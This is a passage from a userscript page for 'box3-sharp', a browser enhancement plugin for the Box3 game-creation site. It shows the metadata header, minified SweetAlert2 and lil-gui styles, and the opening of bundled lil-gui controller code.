box3-sharp

Box3增强插件

当前为 2022-12-25 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name box3-sharp
  3. // @namespace box3.codemao.cn
  4. // @version 1.2.0
  5. // @author AlanBestHacker
  6. // @description Box3增强插件
  7. // @license GPL-3.0
  8. // @icon https://box3.fun/favicon.ico
  9. // @match https://box3.codemao.cn/*
  10. // @match https://box3.fun/*
  11. // @grant GM_getValue
  12. // @grant GM_info
  13. // @grant GM_openInTab
  14. // @grant GM_setValue
  15. // @grant unsafeWindow
  16. // ==/UserScript==
  17.  
  18. (o=>{const a=document.createElement("style");a.dataset.source="vite-plugin-monkey",a.innerText=o,document.head.appendChild(a)})('.container-window{position:fixed;left:50px;top:50px;z-index:999}.container-window .handle{cursor:move;position:relative;margin-left:auto;width:calc(100% - 80px);border-left:1px solid rgba(255,255,255,.8);opacity:0;height:25px;background-color:#0003;color:#fffc;display:flex;justify-content:center;align-items:center;z-index:999;transition:opacity .25s;font-size:4px}.container-window .handle:hover{opacity:1}._2x0RglLpha6lx9vdRMkP5r{user-select:text!important}@keyframes opacity-show{0%{opacity:0}to{opacity:1}}@keyframes opacity-hide{to{opacity:0}}.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4!important;grid-row:1/4!important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:rgba(54,70,93,.99);box-shadow:0 0 1px #00000013,0 1px 2px #00000013,1px 2px 4px #00000013,1px 3px 8px #00000013,2px 4px 16px #00000013;pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:700}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:.5em 0 0;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.8em;left:-.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}.swal2-container{display:grid;position:fixed;z-index:1060;inset:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content,auto) minmax(min-content,auto) minmax(min-content,auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(54,70,93,.99)}.swal2-container.swal2-backdrop-hide{background:transparent!important}.swal2-container.swal2-top-start,.swal2-container.swal2-center-start,.swal2-container.swal2-bottom-start{grid-template-columns:minmax(0,1fr) auto auto}.swal2-container.swal2-top,.swal2-container.swal2-center,.swal2-container.swal2-bottom{grid-template-columns:auto minmax(0,1fr) auto}.swal2-container.swal2-top-end,.swal2-container.swal2-center-end,.swal2-container.swal2-bottom-end{grid-template-columns:auto auto minmax(0,1fr)}.swal2-container.swal2-top-start>.swal2-popup{align-self:start}.swal2-container.swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}.swal2-container.swal2-top-end>.swal2-popup,.swal2-container.swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}.swal2-container.swal2-center-start>.swal2-popup,.swal2-container.swal2-center-left>.swal2-popup{grid-row:2;align-self:center}.swal2-container.swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}.swal2-container.swal2-center-end>.swal2-popup,.swal2-container.swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}.swal2-container.swal2-bottom-start>.swal2-popup,.swal2-container.swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}.swal2-container.swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}.swal2-container.swal2-bottom-end>.swal2-popup,.swal2-container.swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}.swal2-container.swal2-grow-row>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}.swal2-container.swal2-grow-column>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}.swal2-container.swal2-no-transition{transition:none!important}.swal2-popup{display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0,100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:transparent;color:#545454;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:none}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-title{position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:#fff;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 transparent #2778c4 transparent}.swal2-styled{margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px transparent;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}.swal2-styled.swal2-confirm:focus{box-shadow:0 0 0 3px #7066e080}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}.swal2-styled.swal2-deny:focus{box-shadow:0 0 0 3px #dc374180}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}.swal2-styled.swal2-cancel:focus{box-shadow:0 0 0 3px #6e788180}.swal2-styled.swal2-default-outline:focus{box-shadow:0 0 0 1px #36465dfc,0 0 0 3px #7a91b2fc}.swal2-styled:focus{outline:none}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid rgba(255,255,255,.2);color:#fff;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto!important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:2em auto 1em}.swal2-close{position:fixed;z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:transparent;color:#fff;font-family:serif;font-family:monospace;font-size:3em;cursor:pointer;justify-self:end}.swal2-close:hover{transform:none;background:transparent;color:#f27474}.swal2-close:focus{outline:none;box-shadow:inset 0 0 0 3px #6496c880}.swal2-close::-moz-focus-inner{border:0}.swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:#fff;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}.swal2-input,.swal2-file,.swal2-textarea,.swal2-select,.swal2-radio,.swal2-checkbox{margin:1em 2em 3px}.swal2-input,.swal2-file,.swal2-textarea{box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(73,94,125,.99);box-shadow:inset 0 1px 1px #0000000f,0 0 0 3px transparent;color:#fff;font-size:1.125em}.swal2-input.swal2-inputerror,.swal2-file.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-input:focus,.swal2-file:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px #0000000f,0 0 0 3px #6496c880}.swal2-input::placeholder,.swal2-file::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em 2em 3px;background:transparent}.swal2-range input{width:80%}.swal2-range output{width:20%;color:#fff;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(73,94,125,.99);font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(73,94,125,.99);color:#fff;font-size:1.125em}.swal2-radio,.swal2-checkbox{align-items:center;justify-content:center;background:transparent;color:#fff}.swal2-radio label,.swal2-checkbox label{margin:0 .6em;font-size:1.125em}.swal2-radio input,.swal2-checkbox input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto 0}.swal2-validation-message{align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:transparent;color:#fff;font-size:1em;font-weight:300}.swal2-validation-message:before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:.25em solid transparent;border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:transparent;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:rgba(122,145,178,.99);color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:rgba(122,145,178,.99)}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{animation:opacity-show .3s}.swal2-hide{animation:opacity-hide .1s}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotate(2deg)}33%{transform:translateY(0) rotate(-2deg)}66%{transform:translateY(.3125em) rotate(2deg)}to{transform:translateY(0) rotate(0)}}@keyframes swal2-toast-hide{to{transform:rotate(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}to{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}to{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}to{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}to{transform:scale(.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}to{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}to{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}to{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}to{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}to{transform:rotateX(0);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}to{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotate(45deg);opacity:0}25%{transform:rotate(-25deg);opacity:.4}50%{transform:rotate(15deg);opacity:.8}75%{transform:rotate(-5deg);opacity:1}to{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{background-color:transparent!important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px #36465dfc}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:transparent;pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{inset:0 auto auto 50%;transform:translate(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{inset:0 0 auto auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{inset:0 auto auto 0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{inset:50% auto auto 0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{inset:50% auto auto 50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{inset:50% 0 auto auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{inset:auto auto 0 0}body.swal2-toast-shown .swal2-container.swal2-bottom{inset:auto auto 0 50%;transform:translate(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{inset:auto 0 0 auto}.lil-gui{--background-color: transparent;--text-color: rgba(255, 255, 255, .8);--title-background-color: rgba(0, 0, 0, .3);--title-text-color: rgba(255, 255, 255, .9);--widget-color: rgba(100, 100, 100, .1);--hover-color: rgba(100, 100, 100, .2);--focus-color: rgba(255, 255, 255, .2);--number-color: var(--primary-color);--string-color: #ffab00;--font-size: 12px;--input-font-size: 10px;--font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;--font-family-mono: Menlo, Monaco, Consolas, "Droid Sans Mono", monospace;--padding: 4px;--spacing: 4px;--widget-height: 20px;--name-width: 45%;--slider-knob-width: 2px;--slider-input-width: 27%;--color-input-width: 27%;--slider-input-min-width: 45px;--color-input-min-width: 45px;--folder-indent: 5px;--widget-padding: 0 0 0 3px;--widget-border-radius: var(--border-radius);--checkbox-size: calc(.75 * var(--widget-height));--scrollbar-width: 2px;max-height:70vh}.lil-gui .name{user-select:none!important}.lil-gui *{transition:background-color .25s}.lil-gui.root{transform:translateY(-25px);border:1px solid transparent;background:rgba(0,0,0,.8);backdrop-filter:blur(var(--blur));filter:saturate(50%);transition:border-color .5s,box-shadow .5s,filter .25s;box-shadow:0 0 0 var(--primary-color);border-radius:var(--border-radius)}.lil-gui.root:hover{border-color:var(--primary-color);box-shadow:0 0 5px var(--primary-color);filter:none}.lil-gui input[type=checkbox]:checked:before{color:var(--primary-color)}option{background:rgba(0,0,0,.5);color:#ffffff80;border-left:1px solid transparent}option:hover{background:rgba(0,0,0,.5);color:#fffc;border-left:1px solid #2196f3}.lil-gui.closed>.children{transform:translateY(-20px);filter:grayscale(100%);opacity:0}.lil-gui.transition>.children{transition-duration:.25s;transition-property:height,opacity,transform,filter;transition-timing-function:cubic-bezier(.2,.6,.35,1);overflow:hidden;pointer-events:none}.lil-gui input{background:transparent;border-bottom:1px solid rgba(255,255,255,.1)}.lil-gui .controller.number:hover .fill{background-color:var(--number-color);box-shadow:0 0 5px var(--number-color)}.lil-gui .controller.number:hover input{text-shadow:0 0 5px var(--number-color)}::selection{background-color:#fff3}.title{user-select:none}.swal2-popup{font-size:unset!important}.swal2-backdrop-show{backdrop-filter:blur(5px);background:rgba(0,0,0,.5)!important}canvas.magic-cursor-canvas{height:100vh;width:100vw;position:fixed;top:0;left:0;z-index:9999999999;opacity:.5;pointer-events:none;transition:opacity .25s}');
  19.  
  20. (function() {
  21. "use strict";
  22. const __variableDynamicImportRuntimeHelper = (glob, path) => {
  23. const v = glob[path];
  24. if (v) {
  25. return typeof v === "function" ? v() : Promise.resolve(v);
  26. }
  27. return new Promise((_, reject) => {
  28. (typeof queueMicrotask === "function" ? queueMicrotask : setTimeout)(reject.bind(null, new Error("Unknown variable dynamic import: " + path)));
  29. });
  30. };
  31. var monkeyWindow = window;
  32. var unsafeWindow = /* @__PURE__ */ (() => {
  33. return monkeyWindow.unsafeWindow;
  34. })();
  35. var GM_info = /* @__PURE__ */ (() => monkeyWindow.GM_info)();
  36. var GM_setValue = /* @__PURE__ */ (() => monkeyWindow.GM_setValue)();
  37. var GM_openInTab = /* @__PURE__ */ (() => monkeyWindow.GM_openInTab)();
  38. var GM_getValue = /* @__PURE__ */ (() => monkeyWindow.GM_getValue)();
  39. class Controller {
  40. constructor(parent, object, property, className, widgetTag = "div") {
  41. this.parent = parent;
  42. this.object = object;
  43. this.property = property;
  44. this._disabled = false;
  45. this._hidden = false;
  46. this.initialValue = this.getValue();
  47. this.domElement = document.createElement("div");
  48. this.domElement.classList.add("controller");
  49. this.domElement.classList.add(className);
  50. this.$name = document.createElement("div");
  51. this.$name.classList.add("name");
  52. Controller.nextNameID = Controller.nextNameID || 0;
  53. this.$name.id = `lil-gui-name-${++Controller.nextNameID}`;
  54. this.$widget = document.createElement(widgetTag);
  55. this.$widget.classList.add("widget");
  56. this.$disable = this.$widget;
  57. this.domElement.appendChild(this.$name);
  58. this.domElement.appendChild(this.$widget);
  59. this.parent.children.push(this);
  60. this.parent.controllers.push(this);
  61. this.parent.$children.appendChild(this.domElement);
  62. this._listenCallback = this._listenCallback.bind(this);
  63. this.name(property);
  64. }
  65. name(name) {
  66. this._name = name;
  67. this.$name.innerHTML = name;
  68. return this;
  69. }
  70. onChange(callback) {
  71. this._onChange = callback;
  72. return this;
  73. }
  74. _callOnChange() {
  75. this.parent._callOnChange(this);
  76. if (this._onChange !== void 0) {
  77. this._onChange.call(this, this.getValue());
  78. }
  79. this._changed = true;
  80. }
  81. onFinishChange(callback) {
  82. this._onFinishChange = callback;
  83. return this;
  84. }
  85. _callOnFinishChange() {
  86. if (this._changed) {
  87. this.parent._callOnFinishChange(this);
  88. if (this._onFinishChange !== void 0) {
  89. this._onFinishChange.call(this, this.getValue());
  90. }
  91. }
  92. this._changed = false;
  93. }
  94. reset() {
  95. this.setValue(this.initialValue);
  96. this._callOnFinishChange();
  97. return this;
  98. }
  99. enable(enabled = true) {
  100. return this.disable(!enabled);
  101. }
  102. disable(disabled = true) {
  103. if (disabled === this._disabled)
  104. return this;
  105. this._disabled = disabled;
  106. this.domElement.classList.toggle("disabled", disabled);
  107. this.$disable.toggleAttribute("disabled", disabled);
  108. return this;
  109. }
  110. show(show = true) {
  111. this._hidden = !show;
  112. this.domElement.style.display = this._hidden ? "none" : "";
  113. return this;
  114. }
  115. hide() {
  116. return this.show(false);
  117. }
  118. options(options) {
  119. const controller = this.parent.add(this.object, this.property, options);
  120. controller.name(this._name);
  121. this.destroy();
  122. return controller;
  123. }
  124. min(min) {
  125. return this;
  126. }
  127. max(max) {
  128. return this;
  129. }
  130. step(step) {
  131. return this;
  132. }
  133. decimals(decimals) {
  134. return this;
  135. }
  136. listen(listen = true) {
  137. this._listening = listen;
  138. if (this._listenCallbackID !== void 0) {
  139. cancelAnimationFrame(this._listenCallbackID);
  140. this._listenCallbackID = void 0;
  141. }
  142. if (this._listening) {
  143. this._listenCallback();
  144. }
  145. return this;
  146. }
  147. _listenCallback() {
  148. this._listenCallbackID = requestAnimationFrame(this._listenCallback);
  149. const curValue = this.save();
  150. if (curValue !== this._listenPrevValue) {
  151. this.updateDisplay();
  152. }
  153. this._listenPrevValue = curValue;
  154. }
  155. getValue() {
  156. return this.object[this.property];
  157. }
  158. setValue(value) {
  159. this.object[this.property] = value;
  160. this._callOnChange();
  161. this.updateDisplay();
  162. return this;
  163. }
  164. updateDisplay() {
  165. return this;
  166. }
  167. load(value) {
  168. this.setValue(value);
  169. this._callOnFinishChange();
  170. return this;
  171. }
  172. save() {
  173. return this.getValue();
  174. }
  175. destroy() {
  176. this.listen(false);
  177. this.parent.children.splice(this.parent.children.indexOf(this), 1);
  178. this.parent.controllers.splice(this.parent.controllers.indexOf(this), 1);
  179. this.parent.$children.removeChild(this.domElement);
  180. }
  181. }
  182. class BooleanController extends Controller {
  183. constructor(parent, object, property) {
  184. super(parent, object, property, "boolean", "label");
  185. this.$input = document.createElement("input");
  186. this.$input.setAttribute("type", "checkbox");
  187. this.$input.setAttribute("aria-labelledby", this.$name.id);
  188. this.$widget.appendChild(this.$input);
  189. this.$input.addEventListener("change", () => {
  190. this.setValue(this.$input.checked);
  191. this._callOnFinishChange();
  192. });
  193. this.$disable = this.$input;
  194. this.updateDisplay();
  195. }
  196. updateDisplay() {
  197. this.$input.checked = this.getValue();
  198. return this;
  199. }
  200. }
  201. function normalizeColorString(string) {
  202. let match, result;
  203. if (match = string.match(/(#|0x)?([a-f0-9]{6})/i)) {
  204. result = match[2];
  205. } else if (match = string.match(/rgb\(\s*(\d*)\s*,\s*(\d*)\s*,\s*(\d*)\s*\)/)) {
  206. result = parseInt(match[1]).toString(16).padStart(2, 0) + parseInt(match[2]).toString(16).padStart(2, 0) + parseInt(match[3]).toString(16).padStart(2, 0);
  207. } else if (match = string.match(/^#?([a-f0-9])([a-f0-9])([a-f0-9])$/i)) {
  208. result = match[1] + match[1] + match[2] + match[2] + match[3] + match[3];
  209. }
  210. if (result) {
  211. return "#" + result;
  212. }
  213. return false;
  214. }
  215. const STRING = {
  216. isPrimitive: true,
  217. match: (v) => typeof v === "string",
  218. fromHexString: normalizeColorString,
  219. toHexString: normalizeColorString
  220. };
  221. const INT = {
  222. isPrimitive: true,
  223. match: (v) => typeof v === "number",
  224. fromHexString: (string) => parseInt(string.substring(1), 16),
  225. toHexString: (value) => "#" + value.toString(16).padStart(6, 0)
  226. };
  227. const ARRAY = {
  228. isPrimitive: false,
  229. match: Array.isArray,
  230. fromHexString(string, target, rgbScale = 1) {
  231. const int = INT.fromHexString(string);
  232. target[0] = (int >> 16 & 255) / 255 * rgbScale;
  233. target[1] = (int >> 8 & 255) / 255 * rgbScale;
